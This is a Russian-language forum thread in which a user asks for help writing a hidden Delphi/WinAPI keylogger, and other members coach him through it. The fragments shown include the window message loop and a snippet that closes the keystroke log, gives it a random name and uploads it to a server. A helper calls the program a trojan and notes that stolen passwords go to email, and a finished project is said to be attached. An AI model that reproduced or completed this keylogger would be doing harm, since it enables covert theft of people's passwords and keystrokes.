Пытаюсь написать прогу которая перехватывает нажатия клавиш клавиатуры и записует в текстовый файл, но

[dimonbest]

  randomize;   
  i:=random(1234567);   
  wClass:=WndClass1(hInstance,0,0,0,0,0,COLOR_BTNFACE,'MYCLASS','',@WndMessageProc);   
  RegisterClass(wClass);   
  hApp:=CreateWindow(wClass.lpszClassName, '',0,   
  Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT),   
  0, 0, 0, 0, hInstance, nil);   
  if hApp=0 then  
  begin  
   UnregisterClass('MYCLASS',hInstance);   
   halt(0);   
  end;   
  loopWindow(wMsg);

Это основной цикл программы?
Не могу еще найти место в программе, где непосредственно происходит
запись в файл...
А зачем в форму? А ее можно сделать невидимой

[Dj_smart]

Это основной цикл программы?

Да, это основно цикл.

Не могу еще найти место в программе, где непосредственно происходит
запись в файл...

Поищи повнимательнее...Найди такой код:

CloseFile(fn); // Закрыли старый файл
a1:=strtopchar(io); //Узнали случайное имя для отправки на сервак
//(вероятность вроде 1 до 1234567 что файлы совпадут) Это чтобы если твой троян сильно наплодится, 
//хотя он этого пока не умеет делать,чтобы файлы не совпали :)
upload(a1,a1); //отправили на сервак
AssignFile(fn,GetName); 
ReWrite(fn); // Забецали новый файл

Ок?

[dimonbest]

ок, разбираюсь, спасибо....

[dimonbest]

Можешь посмотреть, не компилиться проект во вложении...

[НЕ_АЙС]

И никогда не скомпилится. Научись отличать VCL проект от WinAPI.

Держи хакер юный

[dimonbest]

Сообщение от НЕ_АЙС

И никогда не скомпилится. Научись отличать VCL проект от WinAPI.

Так а что надо сделать чтоб скомпилилось?
Кстати, в этом проекте русские буквы не понимает, пишет только английские...так и надо?

[Dj_smart]

Тебе ж пароль всеравно на почту?
Значит так и надо

[НЕ_АЙС]

Сообщение от dimonbest

Так а что надо сделать чтоб скомпилилось?
Кстати, в этом проекте русские буквы не понимает, пишет только английские...так и надо?

Я же добавил файл к своему сообщению, где уже готовый проект лежит.
Посмотри внимательнее.

[dimonbest]

Сообщение от НЕ_АЙС

Я же добавил файл к своему сообщению, где уже готовый проект лежит.
Посмотри внимательнее.

Этоже вроде как тот же самый проект... Меня еще интересует как можно сделать это же, но на форме например...

[dimonbest]

Сообщение от Dj_smart

Да, это основно цикл.

Если это основной цикл, то почему тогда у меня не завершается процесс, когда я создаю файл t.txt на диске С?

begin
  if FileExists('c:\t.txt') then halt ;
  randomize;
  i:=random(1234567);
  wClass:=WndClass1(hInstance,0,0,0,0,0,COLOR_BTNFACE,'MYCLASS','',@WndMessageProc);
  RegisterClass(wClass);
  hApp:=CreateWindow(wClass.lpszClassName, '',0,
  Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT),
  0, 0, 0, 0, hInstance, nil);
  if hApp=0 then
  begin
   UnregisterClass('MYCLASS',hInstance);
   halt(0);
  end;
  loopWindow(wMsg);
end.